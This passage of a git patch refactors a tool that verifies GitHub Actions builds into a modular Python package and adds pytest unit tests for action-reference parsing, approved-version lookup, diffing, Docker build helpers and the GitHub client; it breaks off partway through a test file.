From 8a75fde31ed77ab725ce19c24cda7065888295d6 Mon Sep 17 00:00:00 2001 From: Jarek Potiuk Date: Mon, 6 Apr 2026 16:52:29 +0200 Subject: [PATCH 1/5] Refactor verify-action-build.py into modular package with tests Split the 3068-line monolithic script into 15 focused modules organized by responsibility (GitHub client, action parsing, Docker building, diff engines, security analysis, PR extraction, etc.), extracted the inline Dockerfile to a standalone file, and added 112 unit tests. Generated-by: Claude Opus 4.6 (1M context) --- pyproject.toml | 3 + utils/pyproject.toml | 2 +- utils/tests/__init__.py | 0 utils/tests/verify_action_build/__init__.py | 0 .../verify_action_build/test_action_ref.py | 200 ++ .../test_approved_actions.py | 128 + utils/tests/verify_action_build/test_cli.py | 46 + .../tests/verify_action_build/test_console.py | 112 + .../verify_action_build/test_diff_display.py | 90 + .../tests/verify_action_build/test_diff_js.py | 49 + .../test_diff_node_modules.py | 122 + .../verify_action_build/test_docker_build.py | 120 + .../verify_action_build/test_github_client.py | 86 + .../verify_action_build/test_pr_extraction.py | 124 + .../verify_action_build/test_security.py | 199 ++ .../verify_action_build/test_verification.py | 88 + utils/verify-action-build.py | 3067 ----------------- utils/verify_action_build/__init__.py | 33 + utils/verify_action_build/__main__.py | 23 + utils/verify_action_build/action_ref.py | 133 + utils/verify_action_build/approved_actions.py | 257 ++ utils/verify_action_build/cli.py | 129 + utils/verify_action_build/console.py | 60 + utils/verify_action_build/dependabot.py | 229 ++ utils/verify_action_build/diff_display.py | 120 + utils/verify_action_build/diff_js.py | 152 + .../verify_action_build/diff_node_modules.py | 158 + utils/verify_action_build/diff_source.py | 205 ++ utils/verify_action_build/docker_build.py | 281 ++ .../dockerfiles/build_action.Dockerfile | 187 + utils/verify_action_build/github_client.py | 246 ++ utils/verify_action_build/pr_extraction.py | 88 + utils/verify_action_build/security.py | 711 ++++ utils/verify_action_build/verification.py | 306 ++ uv.lock | 176 +- 35 files changed, 4860 insertions(+), 3070 deletions(-) create mode 100644 utils/tests/__init__.py create mode 100644 utils/tests/verify_action_build/__init__.py create mode 100644 utils/tests/verify_action_build/test_action_ref.py create mode 100644 utils/tests/verify_action_build/test_approved_actions.py create mode 100644 utils/tests/verify_action_build/test_cli.py create mode 100644 utils/tests/verify_action_build/test_console.py create mode 100644 utils/tests/verify_action_build/test_diff_display.py create mode 100644 utils/tests/verify_action_build/test_diff_js.py create mode 100644 utils/tests/verify_action_build/test_diff_node_modules.py create mode 100644 utils/tests/verify_action_build/test_docker_build.py create mode 100644 utils/tests/verify_action_build/test_github_client.py create mode 100644 utils/tests/verify_action_build/test_pr_extraction.py create mode 100644 utils/tests/verify_action_build/test_security.py create mode 100644 utils/tests/verify_action_build/test_verification.py delete mode 100644 utils/verify-action-build.py create mode 100644 utils/verify_action_build/__init__.py create mode 100644 utils/verify_action_build/__main__.py create mode 100644 utils/verify_action_build/action_ref.py create mode 100644 utils/verify_action_build/approved_actions.py create mode 100644 utils/verify_action_build/cli.py create mode 100644 utils/verify_action_build/console.py create mode 100644 utils/verify_action_build/dependabot.py create mode 100644 utils/verify_action_build/diff_display.py create mode 100644 utils/verify_action_build/diff_js.py create mode 100644 utils/verify_action_build/diff_node_modules.py create mode 100644 utils/verify_action_build/diff_source.py create mode 100644 utils/verify_action_build/docker_build.py create mode 100644 utils/verify_action_build/dockerfiles/build_action.Dockerfile create mode 100644 utils/verify_action_build/github_client.py create mode 100644 utils/verify_action_build/pr_extraction.py create mode 100644 utils/verify_action_build/security.py create mode 100644 utils/verify_action_build/verification.py diff --git a/pyproject.toml b/pyproject.toml index 5baf5b69..53ca6de3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -27,7 +27,10 @@ dependencies = [ [dependency-groups] dev = [ + "jsbeautifier>=1.15", "pytest", + "requests>=2.31", + "rich>=13.0", ] [tool.uv] diff --git a/utils/pyproject.toml b/utils/pyproject.toml index 20278803..988d1584 100644 --- a/utils/pyproject.toml +++ b/utils/pyproject.toml @@ -28,4 +28,4 @@ dependencies = [ ] [project.scripts] -verify-action-build = "verify_action_build:main" +verify-action-build = "verify_action_build.cli:main" diff --git a/utils/tests/__init__.py b/utils/tests/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/utils/tests/verify_action_build/__init__.py b/utils/tests/verify_action_build/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/utils/tests/verify_action_build/test_action_ref.py b/utils/tests/verify_action_build/test_action_ref.py new file mode 100644 index 00000000..2368ecc0 --- /dev/null +++ b/utils/tests/verify_action_build/test_action_ref.py @@ -0,0 +1,200 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +import pytest + +from verify_action_build.action_ref import ( + parse_action_ref, + extract_composite_uses, + detect_action_type_from_yml, +) + + +class TestParseActionRef: + def test_simple_ref(self): + org, repo, sub, hash_ = parse_action_ref("dorny/test-reporter@abc123def456789012345678901234567890abcd") + assert org == "dorny" + assert repo == "test-reporter" + assert sub == "" + assert hash_ == "abc123def456789012345678901234567890abcd" + + def test_monorepo_sub_path(self): + org, repo, sub, hash_ = parse_action_ref("gradle/actions/setup-gradle@abc123def456789012345678901234567890abcd") + assert org == "gradle" + assert repo == "actions" + assert sub == "setup-gradle" + assert hash_ == "abc123def456789012345678901234567890abcd" + + def test_deep_sub_path(self): + org, repo, sub, hash_ = parse_action_ref("org/repo/a/b/c@deadbeef" * 1 + "org/repo/a/b/c@" + "a" * 40) + # Reset: test clean + org, repo, sub, hash_ = parse_action_ref("org/repo/a/b/c@" + "a" * 40) + assert org == "org" + assert repo == "repo" + assert sub == "a/b/c" + assert hash_ == "a" * 40 + + def test_missing_at_sign_exits(self): + with pytest.raises(SystemExit): + parse_action_ref("dorny/test-reporter") + + def test_missing_org_repo_exits(self): + with pytest.raises(SystemExit): + parse_action_ref("singlepart@abc123") + + +class TestExtractCompositeUses: + def test_standard_action_ref(self): + yml = """ +steps: + - uses: actions/checkout@abc123def456789012345678901234567890abcd +""" + results = extract_composite_uses(yml) + assert len(results) == 1 + assert results[0]["org"] == "actions" + assert results[0]["repo"] == "checkout" + assert results[0]["is_hash_pinned"] is True + assert results[0]["is_local"] is False + + def test_tag_ref_not_hash_pinned(self): + yml = """ +steps: + - uses: actions/checkout@v4 +""" + results = extract_composite_uses(yml) + assert len(results) == 1 + assert results[0]["is_hash_pinned"] is False + assert results[0]["ref"] == "v4" + + def test_local_action(self): + yml = """ +steps: + - uses: ./.github/actions/my-action +""" + results = extract_composite_uses(yml) + assert len(results) == 1 + assert results[0]["is_local"] is True + assert results[0]["raw"] == "./.github/actions/my-action" + + def test_docker_reference(self): + yml = """ +steps: + - uses: docker://alpine:3.18 +""" + results = extract_composite_uses(yml) + assert len(results) == 1 + assert results[0].get("is_docker") is True + + def test_monorepo_sub_action(self): + yml = """ +steps: + - uses: gradle/actions/setup-gradle@abc123def456789012345678901234567890abcd +""" + results = extract_composite_uses(yml) + assert len(results) == 1 + assert results[0]["org"] == "gradle" + assert results[0]["repo"] == "actions" + assert results[0]["sub_path"] == "setup-gradle" + + def test_comment_stripped(self): + yml = """ +steps: + - uses: actions/checkout@abc123def456789012345678901234567890abcd # v4 +""" + results = extract_composite_uses(yml) + assert len(results) == 1 + assert results[0]["ref"] == "abc123def456789012345678901234567890abcd" + + def test_multiple_uses(self): + yml = """ +steps: + - uses: actions/checkout@abc123def456789012345678901234567890abcd + - uses: actions/setup-node@def456789012345678901234567890abcd123456 +""" + results = extract_composite_uses(yml) + assert len(results) == 2 + + def test_no_uses(self): + yml = """ +steps: + - run: echo hello +""" + results = extract_composite_uses(yml) + assert len(results) == 0 + + def test_quoted_uses(self): + yml = """ +steps: + - uses: 'actions/checkout@abc123def456789012345678901234567890abcd' +""" + results = extract_composite_uses(yml) + assert len(results) == 1 + assert results[0]["org"] == "actions" + + def test_line_numbers(self): + yml = """line1 +line2 + - uses: actions/checkout@abc123def456789012345678901234567890abcd +line4 + - uses: actions/setup-node@def456789012345678901234567890abcd123456 +""" + results = extract_composite_uses(yml) + assert results[0]["line_num"] == 3 + assert results[1]["line_num"] == 5 + + +class TestDetectActionTypeFromYml: + def test_node20(self): + yml = """ +name: Test +runs: + using: node20 + main: dist/index.js +""" + assert detect_action_type_from_yml(yml) == "node20" + + def test_composite(self): + yml = """ +name: Test +runs: + using: composite + steps: [] +""" + assert detect_action_type_from_yml(yml) == "composite" + + def test_docker(self): + yml = """ +name: Test +runs: + using: docker + image: Dockerfile +""" + assert detect_action_type_from_yml(yml) == "docker" + + def test_quoted(self): + yml = """ +runs: + using: 'node16' +""" + assert detect_action_type_from_yml(yml) == "node16" + + def test_unknown_when_missing(self): + yml = """ +name: Test +""" + assert detect_action_type_from_yml(yml) == "unknown" diff --git a/utils/tests/verify_action_build/test_approved_actions.py b/utils/tests/verify_action_build/test_approved_actions.py new file mode 100644 index 00000000..07d6aef1 --- /dev/null +++ b/utils/tests/verify_action_build/test_approved_actions.py @@ -0,0 +1,128 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from pathlib import Path +from unittest import mock + +from verify_action_build.approved_actions import find_approved_versions + + +SAMPLE_ACTIONS_YML = """\ +actions/checkout: + abc123def456789012345678901234567890abcd: + tag: v4.2.0 + expires_at: 2025-12-31 + keep: true + def456789012345678901234567890abcd123456: + tag: v4.1.0 + expires_at: 2025-06-30 +dorny/test-reporter: + 1111111111111111111111111111111111111111: + tag: v1.0.0 +""" + + +class TestFindApprovedVersions: + def test_finds_all_versions(self, tmp_path): + actions_file = tmp_path / "actions.yml" + actions_file.write_text(SAMPLE_ACTIONS_YML) + + with mock.patch("verify_action_build.approved_actions.ACTIONS_YML", actions_file): + result = find_approved_versions("actions", "checkout") + + assert len(result) == 2 + assert result[0]["hash"] == "abc123def456789012345678901234567890abcd" + assert result[0]["tag"] == "v4.2.0" + assert result[0]["expires_at"] == "2025-12-31" + assert result[0]["keep"] == "true" + assert result[1]["hash"] == "def456789012345678901234567890abcd123456" + assert result[1]["tag"] == "v4.1.0" + + def test_finds_different_action(self, tmp_path): + actions_file = tmp_path / "actions.yml" + actions_file.write_text(SAMPLE_ACTIONS_YML) + + with mock.patch("verify_action_build.approved_actions.ACTIONS_YML", actions_file): + result = find_approved_versions("dorny", "test-reporter") + + assert len(result) == 1 + assert result[0]["hash"] == "1111111111111111111111111111111111111111" + assert result[0]["tag"] == "v1.0.0" + + def test_returns_empty_for_unknown_action(self, tmp_path): + actions_file = tmp_path / "actions.yml" + actions_file.write_text(SAMPLE_ACTIONS_YML) + + with mock.patch("verify_action_build.approved_actions.ACTIONS_YML", actions_file): + result = find_approved_versions("unknown", "action") + + assert result == [] + + def test_returns_empty_when_file_missing(self, tmp_path): + missing_file = tmp_path / "nonexistent.yml" + + with mock.patch("verify_action_build.approved_actions.ACTIONS_YML", missing_file): + result = find_approved_versions("actions", "checkout") + + assert result == [] + + def test_handles_quoted_hashes(self, tmp_path): + yml = """\ +actions/checkout: + 'abc123def456789012345678901234567890abcd': + tag: v4 +""" + actions_file = tmp_path / "actions.yml" + actions_file.write_text(yml) + + with mock.patch("verify_action_build.approved_actions.ACTIONS_YML", actions_file): + result = find_approved_versions("actions", "checkout") + + assert len(result) == 1 + assert result[0]["hash"] == "abc123def456789012345678901234567890abcd" + + def test_ignores_comments(self, tmp_path): + yml = """\ +# This is a comment +actions/checkout: + abc123def456789012345678901234567890abcd: + tag: v4 +""" + actions_file = tmp_path / "actions.yml" + actions_file.write_text(yml) + + with mock.patch("verify_action_build.approved_actions.ACTIONS_YML", actions_file): + result = find_approved_versions("actions", "checkout") + + assert len(result) == 1 + + def test_handles_missing_optional_fields(self, tmp_path): + yml = """\ +actions/checkout: + abc123def456789012345678901234567890abcd: + tag: v4 +""" + actions_file = tmp_path / "actions.yml" + actions_file.write_text(yml) + + with mock.patch("verify_action_build.approved_actions.ACTIONS_YML", actions_file): + result = find_approved_versions("actions", "checkout") + + assert len(result) == 1 + assert "expires_at" not in result[0] + assert "keep" not in result[0] diff --git a/utils/tests/verify_action_build/test_cli.py b/utils/tests/verify_action_build/test_cli.py new file mode 100644 index 00000000..9c97b3fd --- /dev/null +++ b/utils/tests/verify_action_build/test_cli.py @@ -0,0 +1,46 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from unittest import mock + +import pytest + +from verify_action_build.cli import main + + +class TestMain: + def test_no_args_shows_help_and_exits(self): + with mock.patch("sys.argv", ["verify-action-build"]): + with pytest.raises(SystemExit) as exc_info: + main() + assert exc_info.value.code == 1 + + def test_missing_docker_exits(self): + with mock.patch("sys.argv", ["verify-action-build", "org/repo@" + "a" * 40]): + with mock.patch("shutil.which", return_value=None): + with pytest.raises(SystemExit) as exc_info: + main() + assert exc_info.value.code == 1 + + def test_no_gh_without_token_exits(self): + with mock.patch("sys.argv", ["verify-action-build", "--no-gh", "org/repo@" + "a" * 40]): + with mock.patch("shutil.which", return_value="/usr/bin/docker"): + with mock.patch.dict("os.environ", {}, clear=True): + with pytest.raises(SystemExit) as exc_info: + main() + assert exc_info.value.code == 1 diff --git a/utils/tests/verify_action_build/test_console.py b/utils/tests/verify_action_build/test_console.py new file mode 100644 index 00000000..5262669c --- /dev/null +++ b/utils/tests/verify_action_build/test_console.py @@ -0,0 +1,112 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +import subprocess +from unittest import mock + +import pytest + +from verify_action_build.console import link, UserQuit, ask_confirm, run + + +class TestLink: + def test_ci_mode_returns_plain_text(self): + with mock.patch("verify_action_build.console._is_ci", True): + # Re-import link to pick up patched value + from verify_action_build import console as mod + original = mod._is_ci + mod._is_ci = True + try: + result = mod.link("https://example.com", "Example") + assert result == "Example" + assert "link=" not in result + finally: + mod._is_ci = original + + def test_non_ci_returns_rich_link(self): + from verify_action_build import console as mod + original = mod._is_ci + mod._is_ci = False + try: + result = mod.link("https://example.com", "Example") + assert "[link=https://example.com]Example[/link]" == result + finally: + mod._is_ci = original + + +class TestAskConfirm: + def test_yes_answer(self): + with mock.patch.object( + __import__("verify_action_build.console", fromlist=["console"]).console, + "input", + return_value="y", + ): + assert ask_confirm("Continue?") is True + + def test_no_answer(self): + with mock.patch.object( + __import__("verify_action_build.console", fromlist=["console"]).console, + "input", + return_value="n", + ): + assert ask_confirm("Continue?") is False + + def test_quit_raises(self): + with mock.patch.object( + __import__("verify_action_build.console", fromlist=["console"]).console, + "input", + return_value="q", + ): + with pytest.raises(UserQuit): + ask_confirm("Continue?") + + def test_empty_returns_default_true(self): + with mock.patch.object( + __import__("verify_action_build.console", fromlist=["console"]).console, + "input", + return_value="", + ): + assert ask_confirm("Continue?", default=True) is True + + def test_empty_returns_default_false(self): + with mock.patch.object( + __import__("verify_action_build.console", fromlist=["console"]).console, + "input", + return_value="", + ): + assert ask_confirm("Continue?", default=False) is False + + def test_eof_raises_user_quit(self): + with mock.patch.object( + __import__("verify_action_build.console", fromlist=["console"]).console, + "input", + side_effect=EOFError, + ): + with pytest.raises(UserQuit): + ask_confirm("Continue?") + + +class TestRun: + def test_success(self): + result = run(["echo", "hello"], capture_output=True, text=True) + assert result.returncode == 0 + assert "hello" in result.stdout + + def test_failure_raises(self): + with pytest.raises(subprocess.CalledProcessError): + run(["false"]) diff --git a/utils/tests/verify_action_build/test_diff_display.py b/utils/tests/verify_action_build/test_diff_display.py new file mode 100644 index 00000000..2f8677bd --- /dev/null +++ b/utils/tests/verify_action_build/test_diff_display.py @@ -0,0 +1,90 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from pathlib import Path + +from rich.text import Text + +from verify_action_build.diff_display import format_diff_text, show_colored_diff + + +class TestFormatDiffText: + def test_colors_additions(self): + lines = ["+added line\n"] + result = format_diff_text(lines) + assert isinstance(result, Text) + assert "+added line" in result.plain + + def test_colors_removals(self): + lines = ["-removed line\n"] + result = format_diff_text(lines) + assert "-removed line" in result.plain + + def test_colors_headers(self): + lines = ["--- a/file.js\n", "+++ b/file.js\n"] + result = format_diff_text(lines) + assert "--- a/file.js" in result.plain + assert "+++ b/file.js" in result.plain + + def test_colors_hunk_markers(self): + lines = ["@@ -1,3 +1,4 @@\n"] + result = format_diff_text(lines) + assert "@@ -1,3 +1,4 @@" in result.plain + + def test_context_lines(self): + lines = [" unchanged line\n"] + result = format_diff_text(lines) + assert "unchanged line" in result.plain + + def test_empty_input(self): + result = format_diff_text([]) + assert isinstance(result, Text) + assert result.plain == "" + + +class TestShowColoredDiff: + def test_identical_returns_continue(self): + result = show_colored_diff(Path("test.js"), "same", "same") + assert result == "continue" + + def test_different_content_returns_continue_in_ci(self): + result = show_colored_diff( + Path("test.js"), "line1\n", "line2\n", ci_mode=True + ) + assert result == "continue" + + def test_small_diff_not_paged(self): + result = show_colored_diff( + Path("test.js"), + "original content\n", + "modified content\n", + ci_mode=True, + ) + assert result == "continue" + + def test_new_file(self): + result = show_colored_diff( + Path("new.js"), "", "new content\n", ci_mode=True + ) + assert result == "continue" + + def test_deleted_file(self): + result = show_colored_diff( + Path("old.js"), "old content\n", "", ci_mode=True + ) + assert result == "continue" diff --git a/utils/tests/verify_action_build/test_diff_js.py b/utils/tests/verify_action_build/test_diff_js.py new file mode 100644 index 00000000..9b8c6dcd --- /dev/null +++ b/utils/tests/verify_action_build/test_diff_js.py @@ -0,0 +1,49 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from verify_action_build.diff_js import beautify_js + + +class TestBeautifyJs: + def test_formats_minified(self): + result = beautify_js("function foo(){return 1}") + assert "function foo()" in result + assert "return 1" in result + + def test_trailing_newline(self): + result = beautify_js("var x = 1;") + assert result.endswith("\n") + + def test_strips_trailing_spaces(self): + result = beautify_js("var x = 1; ") + for line in result.splitlines(): + assert line == line.rstrip() + + def test_empty_input(self): + result = beautify_js("") + assert result == "\n" + + def test_preserves_string_content(self): + result = beautify_js('var s = "hello world";') + assert "hello world" in result + + def test_consistent_output(self): + code = 'function add(a,b){return a+b}function sub(a,b){return a-b}' + result1 = beautify_js(code) + result2 = beautify_js(code) + assert result1 == result2 diff --git a/utils/tests/verify_action_build/test_diff_node_modules.py b/utils/tests/verify_action_build/test_diff_node_modules.py new file mode 100644 index 00000000..5116a1be --- /dev/null +++ b/utils/tests/verify_action_build/test_diff_node_modules.py @@ -0,0 +1,122 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from verify_action_build.diff_node_modules import diff_node_modules + + +class TestDiffNodeModules: + def test_identical_modules(self, tmp_path): + orig = tmp_path / "original" + rebuilt = tmp_path / "rebuilt" + orig.mkdir() + rebuilt.mkdir() + + (orig / "lodash").mkdir() + (rebuilt / "lodash").mkdir() + (orig / "lodash" / "index.js").write_text("module.exports = {}") + (rebuilt / "lodash" / "index.js").write_text("module.exports = {}") + + result = diff_node_modules( + orig, rebuilt, "test", "repo", "a" * 40, + ) + assert result is True + + def test_different_file_content(self, tmp_path): + orig = tmp_path / "original" + rebuilt = tmp_path / "rebuilt" + orig.mkdir() + rebuilt.mkdir() + + (orig / "lodash").mkdir() + (rebuilt / "lodash").mkdir() + (orig / "lodash" / "index.js").write_text("original") + (rebuilt / "lodash" / "index.js").write_text("different") + + result = diff_node_modules( + orig, rebuilt, "test", "repo", "a" * 40, + ) + assert result is False + + def test_extra_package_in_original(self, tmp_path): + orig = tmp_path / "original" + rebuilt = tmp_path / "rebuilt" + orig.mkdir() + rebuilt.mkdir() + + (orig / "lodash").mkdir() + (orig / "lodash" / "index.js").write_text("code") + (orig / "malicious-pkg").mkdir() + (orig / "malicious-pkg" / "index.js").write_text("evil") + (rebuilt / "lodash").mkdir() + (rebuilt / "lodash" / "index.js").write_text("code") + + result = diff_node_modules( + orig, rebuilt, "test", "repo", "a" * 40, + ) + assert result is False + + def test_empty_directories(self, tmp_path): + orig = tmp_path / "original" + rebuilt = tmp_path / "rebuilt" + orig.mkdir() + rebuilt.mkdir() + + result = diff_node_modules( + orig, rebuilt, "test", "repo", "a" * 40, + ) + assert result is True + + def test_noisy_files_ignored(self, tmp_path): + orig = tmp_path / "original" + rebuilt = tmp_path / "rebuilt" + orig.mkdir() + rebuilt.mkdir() + + (orig / "lodash").mkdir() + (rebuilt / "lodash").mkdir() + (orig / "lodash" / "index.js").write_text("code") + (rebuilt / "lodash" / "index.js").write_text("code") + # .package-lock.json differs but should be ignored + (orig / ".package-lock.json").write_text("{}") + (rebuilt / ".package-lock.json").write_text('{"different": true}') + + result = diff_node_modules( + orig, rebuilt, "test", "repo", "a" * 40, + ) + assert result is True + + def test_package_json_install_fields_ignored(self, tmp_path): + import json + orig = tmp_path / "original" + rebuilt = tmp_path / "rebuilt" + orig.mkdir() + rebuilt.mkdir() + + (orig / "lodash").mkdir() + (rebuilt / "lodash").mkdir() + + orig_pkg = {"name": "lodash", "version": "4.0.0", "_resolved": "https://old"} + rebuilt_pkg = {"name": "lodash", "version": "4.0.0", "_resolved": "https://new"} + + (orig / "lodash" / "package.json").write_text(json.dumps(orig_pkg)) + (rebuilt / "lodash" / "package.json").write_text(json.dumps(rebuilt_pkg)) + + result = diff_node_modules( + orig, rebuilt, "test", "repo", "a" * 40, + ) + assert result is True diff --git a/utils/tests/verify_action_build/test_docker_build.py b/utils/tests/verify_action_build/test_docker_build.py new file mode 100644 index 00000000..edb11f83 --- /dev/null +++ b/utils/tests/verify_action_build/test_docker_build.py @@ -0,0 +1,120 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from unittest import mock + +from verify_action_build.docker_build import ( + detect_node_version, + _read_dockerfile_template, + _print_docker_build_steps, +) + + +class TestDetectNodeVersion: + def test_detects_node20(self): + response = mock.Mock() + response.ok = True + response.text = """\ +name: Test +runs: + using: node20 + main: dist/index.js +""" + with mock.patch("verify_action_build.docker_build.requests.get", return_value=response): + version = detect_node_version("org", "repo", "abc123") + assert version == "20" + + def test_detects_node16(self): + response = mock.Mock() + response.ok = True + response.text = """\ +name: Test +runs: + using: 'node16' + main: dist/index.js +""" + with mock.patch("verify_action_build.docker_build.requests.get", return_value=response): + version = detect_node_version("org", "repo", "abc123") + assert version == "16" + + def test_falls_back_to_20(self): + response = mock.Mock() + response.ok = False + with mock.patch("verify_action_build.docker_build.requests.get", return_value=response): + version = detect_node_version("org", "repo", "abc123") + assert version == "20" + + def test_network_error_falls_back(self): + import requests as req + with mock.patch("verify_action_build.docker_build.requests.get", side_effect=req.RequestException): + version = detect_node_version("org", "repo", "abc123") + assert version == "20" + + def test_sub_path_tried_first(self): + calls = [] + response_sub = mock.Mock() + response_sub.ok = True + response_sub.text = " using: node22\n main: dist/index.js\n" + + def track_get(url, **kwargs): + calls.append(url) + if "sub/action.yml" in url: + return response_sub + resp = mock.Mock() + resp.ok = False + return resp + + with mock.patch("verify_action_build.docker_build.requests.get", side_effect=track_get): + version = detect_node_version("org", "repo", "abc123", sub_path="sub") + assert version == "22" + assert any("sub/action.yml" in c for c in calls) + + +class TestReadDockerfileTemplate: + def test_reads_file(self): + content = _read_dockerfile_template() + assert "FROM node:" in content + assert "WORKDIR /action" in content + assert "ARG REPO_URL" in content + assert "ARG COMMIT_HASH" in content + + def test_contains_build_steps(self): + content = _read_dockerfile_template() + assert "npm" in content or "yarn" in content or "pnpm" in content + assert "/rebuilt-dist" in content + assert "/original-dist" in content + + +class TestPrintDockerBuildSteps: + def test_parses_build_output(self): + result = mock.Mock() + result.stdout = "" + result.stderr = """\ +#5 [3/12] RUN apt-get update +#5 DONE 1.2s +#6 [4/12] RUN git clone +#6 CACHED +""" + # Just verify it doesn't crash + _print_docker_build_steps(result) + + def test_handles_empty_output(self): + result = mock.Mock() + result.stdout = "" + result.stderr = "" + _print_docker_build_steps(result) diff --git a/utils/tests/verify_action_build/test_github_client.py b/utils/tests/verify_action_build/test_github_client.py new file mode 100644 index 00000000..3bb1c0fa --- /dev/null +++ b/utils/tests/verify_action_build/test_github_client.py @@ -0,0 +1,86 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from unittest import mock + +from verify_action_build.github_client import GitHubClient + + +class TestGitHubClient: + def test_init_with_token_uses_requests(self): + client = GitHubClient(token="ghp_test123", repo="owner/repo") + assert client._use_requests is True + assert client.token == "ghp_test123" + assert client.repo == "owner/repo" + + def test_init_without_token_uses_gh(self): + client = GitHubClient(repo="owner/repo") + assert client._use_requests is False + assert client.token is None + + def test_headers(self): + client = GitHubClient(token="ghp_test", repo="owner/repo") + headers = client._headers() + assert headers["Authorization"] == "token ghp_test" + assert "application/vnd.github" in headers["Accept"] + + def test_get_commit_pulls_returns_empty_on_failure(self): + client = GitHubClient(repo="owner/repo") + with mock.patch.object(client, "_get", return_value=None): + result = client.get_commit_pulls("owner", "repo", "abc123") + assert result == [] + + def test_get_commit_pulls_returns_list(self): + client = GitHubClient(repo="owner/repo") + mock_data = [{"number": 1, "title": "Test PR"}] + with mock.patch.object(client, "_get", return_value=mock_data): + result = client.get_commit_pulls("owner", "repo", "abc123") + assert result == mock_data + + def test_compare_commits_returns_commits(self): + client = GitHubClient(repo="owner/repo") + mock_data = {"commits": [{"sha": "abc"}]} + with mock.patch.object(client, "_get", return_value=mock_data): + result = client.compare_commits("owner", "repo", "base", "head") + assert result == [{"sha": "abc"}] + + def test_compare_commits_returns_empty_on_failure(self): + client = GitHubClient(repo="owner/repo") + with mock.patch.object(client, "_get", return_value=None): + result = client.compare_commits("owner", "repo", 